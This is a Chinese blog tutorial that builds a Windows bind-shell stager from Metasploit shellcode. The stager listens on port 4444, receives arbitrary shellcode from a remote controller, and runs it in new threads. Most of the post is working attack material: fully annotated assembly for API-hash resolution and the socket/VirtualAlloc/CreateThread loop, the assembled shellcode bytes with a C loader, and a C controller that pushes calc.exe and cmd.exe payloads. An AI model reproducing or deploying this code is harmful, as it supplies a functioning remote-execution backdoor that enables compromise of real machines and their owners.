发布时间:2014-04-28 12:39:48作者:知识屋
溢出部分有一个编写Shellcode的题目,要求ShellCode运行后能够监听4444端口,并且能够执行从控制端传输过来的其他ShellCode。现成的当然是没有的,全部自己写对于我等菜鸟来说那肯定不太可信吧,我的思路是找一个过来DIY一下。
首先,去Metloit找一个框架过来吧:就拿一个tcp bind shell,端口设置为4444,将ShellCode导出为C语言的数组格式,然后稍微处理一下转成二进制文件(使用Notepad++去除其中的x、引号以及换行符,然后转大写即可,然后使用C32Asm的特别粘贴功能,保存即可得到二进制文件),接着使用IDA分析一下这段ShellCode。
ShellCode的入口是这样的:
;========================================================= ; start ;========================================================= start: cld call kMainFun ; 主要逻辑代码函数 ;========================================================= ; 函数调用包装函数 ; 传入参数为待调用函数的参数以及函数名HASH值 ;========================================================= ;fnFunctionCaller proc assume fs:nothing pusha ; 保存所有寄存器 mov ebp, esp ; 建立新栈帧 xor edx, edx ; EDX寄存器清零操作 mov edx, fs:[edx+30h] ; PEB mov edx, [edx+0Ch] ; PEB_LDR_DATA mov edx, [edx+14h] ; InMemoryOrderModuleList loc_15: mov esi, [edx+28h] ; BaseDllName(DLL名字) movzx ecx, word ptr [edx+26h] ; (DllName长度+1)*2 即(UNICODE_STRING的长度字段) xor edi, edi ; EDI寄存器清零 ; ==== 计算DLL名字HASH值 ==== loc_1E: xor eax, eax ; EAX寄存器清零 lodsb ; 取DllName第一个字符 cmp al, 61h ; 'a' jl short loc_27 ; 小于'a'时跳转 sub al, 20h ; ' ' ; 转大写字母 loc_27: ror edi, 0Dh ; 移位 add edi, eax ; 累加 loop loc_1E ; 循环计算DllName哈希值 push edx push edi mov edx, [edx+10h] ; DllBase Dll基地址 mov eax, [edx+3Ch] ; 开始解析PE文件格式 add eax, edx mov eax, [eax+78h] ; 数据目录表输出表结构 test eax, eax jz short loc_89 ; 没有输出表, 跳转到返回 add eax, edx push eax mov ecx, [eax+18h] ; 总的导出函数个数 mov ebx, [eax+20h] add ebx, edx loc_4A: jecxz short loc_88 dec ecx mov esi, [ebx+ecx*4] ; 函数名字 add esi, edx xor edi, edi ; ==== 计算函数名字HASH值 ==== loc_54: xor eax, eax lodsb ror edi, 0Dh add edi, eax cmp al, ah jnz short loc_54 ; 循环计算函数名HASH值 add edi, [ebp-8] ; ==== Hash1(DllName) + Hash2(ApiName) ==== cmp edi, [ebp+24h] ; 判断HASH值是否和传入的参数一致 jnz short loc_4A ; 不相等继续寻找 pop eax mov ebx, [eax+24h] add ebx, edx mov cx, [ebx+ecx*2] mov ebx, [eax+1Ch] add ebx, edx mov eax, [ebx+ecx*4] add eax, edx mov [esp+28h-4], eax ; 保存函数的地址 pop ebx pop ebx popa ; 对应pusha pop ecx ; 弹出上一个函数返回地址到ECX pop edx ; 弹出函数名HASH值参数 push ecx ; 压入上一个函数的返回地址 jmp eax ; 调用函数(刚好对应上一个函数传入的第参数) loc_88: pop eax loc_89: pop edi pop edx mov edx, [edx] jmp short loc_15 ; 继续下一个DLL查找 ;fnFunctionCaller endp ;========================================================= end start
一开始就是一条cld指令和一个call,先看一下call里面的部分代码:
;========================================================= ;kMainFun函数 ;========================================================= kMainFun proc pop ebp ; EBP = fnFunctionCaller push '23' push '_2sw' ; ws2_32 push esp push 726774Ch ; LoadLibrary的HASH值 call ebp ; 调用LoadLibrary加载ws2_32.dll ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
看到call/pop是不是很熟悉的感觉?其实就是把fnFunctionCaller的地址弹给ebp,然后在压入函数参数和一个HASH值,接着call ebp。这里的fnFunctionCaller就像是一个Wrapper,fnFunctionCaller里面的代码逻辑为:通过PEB的InMemoryOrderModuleList链表遍历每一个DLL,根据DLL的名字(如Kernel32.dll)计算出一个HASH值A,然后遍历每个DLL的导出表,计算每个通过名字导出的函数的名字计算出另一个HASH值B,通过A+B=C计算出哈希值的和C,然后通过传入的hash参数进行对比,相等就获取这个函数的地址。接着通过合适的处理栈,使得之前传过来的参数刚刚设置为这个函数的额参数结构,返回地址则返回到call ebp的下一条指令所在的位置,然后就调用了函数了。
ShellCode主要的代码逻辑就位于kMainFun函数里面,我们保留其中有用的部分,把accept之后的代码删掉,现在需要添加自己的逻辑了:使用VirtualAlloc分配足够大小的带可执行属性的空间、接收来自控制端的ShellCode、判断接收是否正确、创建新线程执行ShellCode、等待线程执行完毕。这样不断的循环即可。
这里本来是先调用HeapAlloc,然后调用VirtualProtect来修改属性的,只是后来发现HeapAlloc被重定向到了RtlAllocateHeap,然后也就不知道为何就异常了,不过后来发现VirtualAlloc更加简单。
;========================================================= ;kMainFun函数 ;========================================================= kMainFun proc pop ebp ; EBP = fnFunctionCaller push '23' push '_2sw' ; ws2_32 push esp push 726774Ch ; LoadLibrary的HASH值 call ebp ; 调用LoadLibrary加载ws2_32.dll ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> mov eax, 190h sub esp, eax ; 分配栈空间 push esp push eax push 6B8029h call ebp ; 调用WSAStartup 进行socket初始化 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> push eax push eax push eax push eax inc eax push eax inc eax push eax push 0E0DF0FEAh call ebp ; 调用WSASocketA创建一个socket ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> mov edi, eax xor ebx, ebx push ebx push 5C110002h ; 0002-AF_INET 5C11-4444端口 mov esi, esp push 10h push esi push edi push 6737DBC2h call ebp ; 调用bind函数在4444端口进行绑定 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 分配栈空间保留相关变量 mov ecx, 100h loc_alloc_stack_mem: push 0h loop loc_alloc_stack_mem ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> push ebx push edi push 0FF38E9B7h call ebp ; 调用listen开始监听 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> loc_wait_connect: push ebx ; 保存ebx push edi ; 保存edi push ebx push ebx push edi push 0E13BEC74h call ebp ; 调用accept等待客户端的连接请求 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> mov [esp+50h], eax ; [变量]保存客户端socket loc_wait_shellcode: ; 分配堆空间 push 40h ; PAGE_EXECUTE_READWRITE push 1000h ; MEM_COMMIT push 19000h ; 100KB push 0h ; lpAddress push 0E553A458h call ebp ; VirtualAlloc mov [esp+54h], eax ; [变量]保存hMem ; 接收ShellCode内容 push 0 ; flags push 18FFFh ; len push [esp+54h+8h]; buf push [esp+50h+0Ch]; socket push 5FC8D902h call ebp ; recv 接收shellcode内容 ; 判断是否出错 cmp eax, 0FFFFFFFFh ; 返回-1表示出错了 jz loc_over cmp eax, 0h jnz loc_run_shellcode ; 接收到了数据 ; 没有接收到任何数据,视为出错了 ; 先回收空间 push 4000h ; MEM_DECOMMIT push 19000h ; 100KB push [esp+54h+8h]; buf push 300F2F0Bh call ebp ; 调用VirtualFree jmp loc_over ; 创建新线程 loc_run_shellcode: push 0h ; lpThreadId = NULL push 0h ; dwCreationFlags = 立即执行 push 0h ; lpParameter = NULL push [esp+54h+0Ch]; lpStartAddress = buffer push 0h ; dwStackSize = 0 push 0h ; lpThreadAttributes = NULL push 0160D6838h call ebp ; 调用CreateThread执行ShellCode mov [esp+58h], eax; [变量]保存hThread ; 等待线程结束 push 0FFFFFFFFh ; INFINITE push [esp+58h+4h]; hThread push 601D8708h call ebp ; WaitForSingleObject ; 回收空间 push 4000h ; MEM_DECOMMIT push 19000h ; 100KB push [esp+54h+8h]; buf push 300F2F0Bh call ebp ; 调用VirtualFree ; 等待下一个发送内容 jmp loc_wait_shellcode ; 等待下一段ShellCode loc_over: ; 准备下一轮连接 pop edi ; 恢复edi pop ebx ; 恢复ebx jmp loc_wait_connect ; 等待下一个连接 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> push 0 push 6F721347h call ebp ; 调用ExitProcess退出进程 kMainFun endp
这里函数名字的HASH值需要自己计算(计算的汇编指令前面已经有了,抠出来就行,根据DLL名字以及API名字就能计算出HASH值),然后需要分配一定的栈空间用于保存变量,比如accept返回的socket句柄,在recv shellcode的时候就要用到,这些局部变量的引用要注意之前是否有参数压栈来调整与esp寄存器的距离。做的完美一点可以使用VirtualFree回收空间,这样的话一定要记得使用WaitForSingleObject等待线程结束。
写好汇编代码之后,用MASM32编译了一下代码,执行测试OK。这时候就需要使用16进制编辑器提取出二进制代码了。此时还剩下最后一步,就是调整部分字节,因为这里用到了函数,所以会提取出两段代码进行拼接,而编译器在编译的时候这两段代码之间是有距离的,所以最后要调整call指令的跳转距离。如果不会算的话可以先把ShellCode内嵌到C中编译,然后使用OD反汇编的时候进行汇编指令修改即可,最后把call kMainFun对应的机器码调整为xE8x89x00x00x00。
最后使用内联汇编进行测试:
#include <stdio.h> #include <.h> #pragma comment(linker, "/subsystem:windows") unsigned char kshell[] = "xFCxE8x89x00x00x00x60x8BxECx33xD2x64" "x8Bx52x30x8Bx52x0Cx8Bx52x14x8Bx72x28" "x0FxB7x4Ax26x33xFFx33xC0xACx3Cx61x7C" "x02x2Cx20xC1xCFx0Dx03xF8xE2xF0x52x57" "x8Bx52x10x8Bx42x3Cx03xC2x8Bx40x78x85" "xC0x74x4Ax03xC2x50x8Bx48x18x8Bx58x20" "x03xDAxE3x3Cx49x8Bx34x8Bx03xF2x33xFF" "x33xC0xACxC1xCFx0Dx03xF8x38xE0x75xF4" "x03x7DxF8x3Bx7Dx24x75xE2x58x8Bx58x24" "x03xDAx66x8Bx0Cx4Bx8Bx58x1Cx03xDAx8B" "x04x8Bx03xC2x89x44x24x24x5Bx5Bx61x59" "x5Ax51xFFxE0x58x5Fx5Ax8Bx12xEBx86" "x5Dx68x33x32x00x00x68x77x73x32x5Fx54" "x68x4Cx77x26x07xFFxD5xB8x90x01x00x00" "x2BxE0x54x50x68x29x80x6Bx00xFFxD5x50" "x50x50x50x40x50x40x50x68xEAx0FxDFxE0" "xFFxD5x8BxF8x33xDBx53x68x02x00x11x5C" "x8BxF4x6Ax10x56x57x68xC2xDBx37x67xFF" "xD5xB9x00x01x00x00x6Ax00xE2xFCx53x57" "x68xB7xE9x38xFFxFFxD5x53x57x53x53x57" "x68x74xECx3BxE1xFFxD5x89x44x24x50x6A" "x40x68x00x10x00x00x68x00x90x01x00x6A" "x00x68x58xA4x53xE5xFFxD5x89x44x24x54" "x6Ax00x68xFFx8Fx01x00xFFx74x24x5CxFF" "x74x24x5Cx68x02xD9xC8x5FxFFxD5x83xF8" "xFFx74x5Cx83xF8x00x75x17x68x00x40x00" "x00x68x00x90x01x00xFFx74x24x5Cx68x0B" "x2Fx0Fx30xFFxD5xEBx40x6Ax00x6Ax00x6A" "x00xFFx74x24x60x6Ax00x6Ax00x68x38x68" "x0Dx16xFFxD5x89x44x24x58x6AxFFxFFx74" "x24x5Cx68x08x87x1Dx60xFFxD5x68x00x40" "x00x00x68x00x90x01x00xFFx74x24x5Cx68" "x0Bx2Fx0Fx30xFFxD5xE9x70xFFxFFxFFx5F" "x5BxE9x59xFFxFFxFF"; int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd ) { DWORD dwTemp = 0; VirtualProtect( kshell, sizeof(kshell), PAGE_EXECUTE_READWRITE, &dwTemp); __asm { lea eax, kshell push eax ret } return 0; }
现在就可以编写控制端进行测试啦,注意因为这里通过创建新线程执行ShellCode,而且会等待新线程结束,所以发送过去的ShellCode就不要弹出MessageBox了,否则就把被控端的执行逻辑给卡死了。还有就是在使用Metasploit生成测试Shellcode的时候,退出方式选择thread,千万不要选process,因为那样就把被控端给kill掉了。
#include <windows.h> #include <winsock.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #pragma comment(lib, "ws2_32") #pragma comment(linker, "/subsystem:console") // 因为通过创建新线程执行Shellcode // 所以Shellcode的退出方式最好是退出线程 // 以保证还可以继续接收和执行其他shellcode unsigned char shellcode_calc[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30" "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff" "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2" "xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85" "xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3" "x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0d" "x01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58" "x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8b" "x04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xff" "xe0x58x5fx5ax8bx12xebx86x5dx6ax01x8dx85xb9x00" "x00x00x50x68x31x8bx6fx87xffxd5xbbxe0x1dx2ax0a" "x68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75" "x05xbbx47x13x72x6fx6ax00x53xffxd5x63x61x6cx63" "x2ex65x78x65x00"; unsigned char shellcode_cmd[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30" "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff" "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2" "xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85" "xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3" "x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0d" "x01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58" "x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8b" "x04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xff" "xe0x58x5fx5ax8bx12xebx86x5dx6ax01x8dx85xb9x00" "x00x00x50x68x31x8bx6fx87xffxd5xbbxe0x1dx2ax0a" "x68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75" "x05xbbx47x13x72x6fx6ax00x53xffxd5x63x6dx64x2e" "x65x78x65x00"; int main(int argc, char **argv) { WSADATA wsad; SOCKET sHost; SOCKADDR_IN servAddr; int retVal; if (WSAStartup(MAKEWORD(2, 2), &wsad) != 0) { printf("初始化套接字失败!n"); return -1; } sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(INVALID_SOCKET == sHost) { printf("创建套接字失败!n"); WSACleanup(); return -1; } char szip[64] = {0}; printf("请输入被控端IP地址:"); scanf("%s", szip); servAddr.sin_family = AF_INET; servAddr.sin_addr.s_addr = inet_addr(szip); servAddr.sin_port = htons(4444); int nServAddlen = sizeof(servAddr); retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr)); if(SOCKET_ERROR == retVal) { printf("连接服务器失败!n"); closesocket(sHost); WSACleanup(); return -1; } //向服务器发送数据 printf("n准备发送弹出计算器的Shellcoden"); retVal = send(sHost, (char *)shellcode_calc, sizeof(shellcode_calc), 0); if (SOCKET_ERROR == retVal) { printf("发送弹出计算器的Shellcode失败!n"); closesocket(sHost); WSACleanup(); return -1; } printf("按Enter发送下一段Shellcoden"); system("pause"); //向服务器发送数据 printf("n准备发送弹出CMD的Shellcoden"); retVal = send(sHost, (char *)shellcode_cmd, sizeof(shellcode_calc), 0); if (SOCKET_ERROR == retVal) { printf("发送弹出计算器的Shellcode失败!n"); closesocket(sHost); WSACleanup(); return -1; } printf("测试完毕,准备退出!n"); system("pause"); closesocket(sHost); WSACleanup(); return 0; }
最终效果截图:
2011-06-17
电脑开机时出现lass.exe进程是病毒吗?
自拍须谨慎!教你如何通过照片定位查看拍摄地点
电脑病毒最基础知识
黑客学员必须了解的C语言技术
精典详细内网渗透专题文章
教你破解Tp-Link的无线路由密码
解决SecureCRT中文显示乱码
QQ电脑管家和360哪个好?横评实测对比
攻防实战:无线网络路由入侵过程